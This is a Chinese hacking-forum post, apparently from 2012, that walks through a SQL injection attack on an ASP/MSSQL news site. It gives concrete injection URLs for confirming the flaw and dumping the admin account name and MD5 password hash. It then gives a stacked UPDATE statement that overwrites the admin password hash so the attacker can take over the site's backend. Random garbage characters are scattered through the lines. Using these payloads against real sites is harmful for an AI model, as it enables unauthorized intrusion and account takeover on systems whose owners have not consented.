经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
( Q( S* E+ Z- }# D# L% E. q+ b可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
+ y0 W# ~5 G& F3 ~( I& i5 F测试如下：
' ?5 C( y% B% Z6 F& P7 Xhttp://www.tmdsb.com/news.asp?id=121- m) D1 b1 V' X! r
在地址后输入单引号，显示
2 }: n& f8 ^( U: h6 m D7 qMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’
1 ?; z, d8 v- E$ Q' p {字符串 ’’’ 之前有未闭合的引号# t$ X& {0 ~& J5 [# S
/news/tmdws.asp，行63
! m; p2 Q2 e1 A- V) T" I% L说明没有过滤单引号且数据库是MSSQL., q* i$ L" k7 l5 @! R; S
and 1=1正常。and 1=2出错。肯定存在注入* r7 C7 f, j+ l1 z7 I/ [" F
接着输入
8 p' g7 l i! F; |1 T; rhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)1 u- s$ J( m9 J! E" D& T; H0 e0 L$ a% `; r
得到帐号为:admin
+ K7 k; i# d! Lhttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
$ [3 E. _1 G) N0 j; D7 `8 s得到密码为:a4716077c2ba075c0 F% C7 d) A3 O0 W; ~# l, R1 F9 k
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f294337 R( @% x, R |
命令如下 :$ m* [0 g. _( \3 Q, m
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–0 B$ S8 K3 G3 i; R8 S' z
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41